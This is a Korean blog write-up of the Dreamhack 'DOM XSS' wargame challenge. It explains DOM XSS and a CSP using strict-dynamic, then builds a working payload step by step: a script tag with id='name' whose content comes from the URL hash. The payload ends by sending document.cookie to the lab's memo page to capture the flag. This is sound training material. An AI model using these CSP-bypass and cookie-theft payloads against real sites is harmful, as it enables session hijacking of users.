2003

[Wargame] Dreamhack DOM XSS 본문

보안/WEB

[Wargame] Dreamhack DOM XSS

saya. 2024. 4. 5. 10:40

DOM XSS (Document Object Model Cross-Site Scripting)는 악의적인 사용자가 웹 애플리케이션의 클라이언트 측 스크립트를 이용하여 다른 사용자의 브라우저 환경에서 스크립트를 실행하도록 하는 보안 취약점입니다.

일반적인 XSS 공격과 달리 DOM XSS는 서버로부터 사용자로 돌아오는 응답에 대한 취약점이 아니라, 클라이언트 측 스크립트 실행 과정에서 발생합니다. 이 취약점은 클라이언트 측 스크립트에서 사용자 입력을 적절하게 처리하지 않고, 동적으로 DOM을 조작할 때 발생할 수 있습니다.

 

  1. 사용자 입력이 스크립트 실행에 직접 사용될 때: 사용자 입력이 클라이언트 측 스크립트에 의해 동적으로 DOM에 삽입되고 실행되는 경우, 악의적인 사용자가 이를 이용하여 스크립트를 삽입할 수 있습니다.
  2. URL 매개변수가 스크립트 실행에 사용될 때: URL의 매개변수가 클라이언트 측 스크립트에서 사용되어 동적으로 DOM을 조작하는 경우, 악의적인 사용자가 해당 매개변수에 스크립트를 삽입할 수 있습니다.
  3. 이벤트 핸들러에 사용자 입력이 직접 바인딩될 때: 이벤트 핸들러에 사용자 입력이 직접 바인딩되는 경우, 이를 이용하여 스크립트가 실행될 수 있습니다.

app.py

 

CSP를 설정해 스크립트의 출처를 지정하여 허용하고 있습니다. 'self' 정책은 내부에서 로드되는 스크립트를, 'nonce'는 nonce 값이 존재하는 외부 스크립트를 허용하고, 'strict-dynamic' 정책은 동적으로 생성된 스크립트를 허용합니다. 동적으로 생성된 스크립트는 웹 애플리케이션 실행 중에 동적으로 생성되거나 로드되는 스크립트를 의미합니다. 


vuln.html

location 객체의 해시 값(# 이후 삽입되는 값)을 가져와서 id가 "name"인 요소의 innerHTML에 해당 값을 삽입하고 있습니다. innerHTML은 DOM 요소의 내용을 나타내는 속성으로, 요소의 자식 요소, 텍스트, HTML 태그 등을 모두 포함할 수 있습니다. 그러나 주의할 점은 innerHTML을 사용할 때 이전 내용이 완전히 대체된다는 것입니다. 따라서 기존의 이벤트 핸들러나 데이터는 모두 삭제되고, 새로운 HTML 코드가 삽입됩니다.

 

vuln 페이지를 브라우저에서 보면 다음과 같습니다.

 

 

CSP 정책으로 인해 param 파라미터에 스크립트를 삽입해도 nonce 값이 없어 실행되지 않습니다.


Exploit

 

그렇다면 앞서 삽입되어 있는 스크립트에서  id가 "name"인 요소의 innerHTML에 # 이후 값을 삽입해 동적 스크립트를 생성하는 부분을 이용해 XSS 공격을 하는 것을 고려해 볼 수 있습니다.

 

기본적으로 param 파라미터에 삽입된 img 태그에 id="name" 값을 설정해 보았습니다.

param=<img id="name" src="https://dreamhack.io/assets/img/logo.0a8aabe.svg">#dreamhack

 

 

위와 같이 "dreamhack" + is my name! 부분이 img 태그의 html 코드로 삽입되는 것을 알 수 있습니다.

 

포인트를 찾아냈다면 몇 번의 test case 를 거쳐 alert(1)을 실행시키는 페이로드를 찾아낼 수 있습니다.

 

1)

param=<script id="name">#alert(1);
#결과값: <script id="name">alert(1); is my name !</script>

alert(1); 까지는 삽입되지만 뒤의 "is my name!" 부분이 실행을 방해하고 있으므로 주석 처리를 해 줄 필요가 있습니다.

 

2)

param=<script id="name">#alert(1);//
#결과값: <script id="name">alert(1);// is my name !</script>

앞에서 id=name으로 지정된 <script> 태그가 제대로 닫히지 않아 실행되지 않는 듯 합니다.

 

3)

param=<script id="name"></script>#alert(1);//
#결과값: <script id="name">alert(1);// is my name !</script>

위 페이로드로 요청시 alert(1) 실행되는 것을 알 수 있습니다.

 


 

flag 페이지에서 요청시 xss 공격을 실행시켜 document.cookie 값을 탈취하면 플래그를 얻을 수 있습니다.

memo 페이지로 리다이렉트 시켜, document.cookie 값을 새 메모로 작성해 탈취하는 방식으로 수행 하겠습니다.

 

위 페이로드를 응용하여 다음과 같이 작성한 페이로드를 flag 페이지의 input 으로 넣어 submit 해줍니다.

param=<script id="name"></script>#location.href='http://127.0.0.1:8000/memo?memo='+document.cookie;//

 

 

플래그를 얻을 수 있습니다.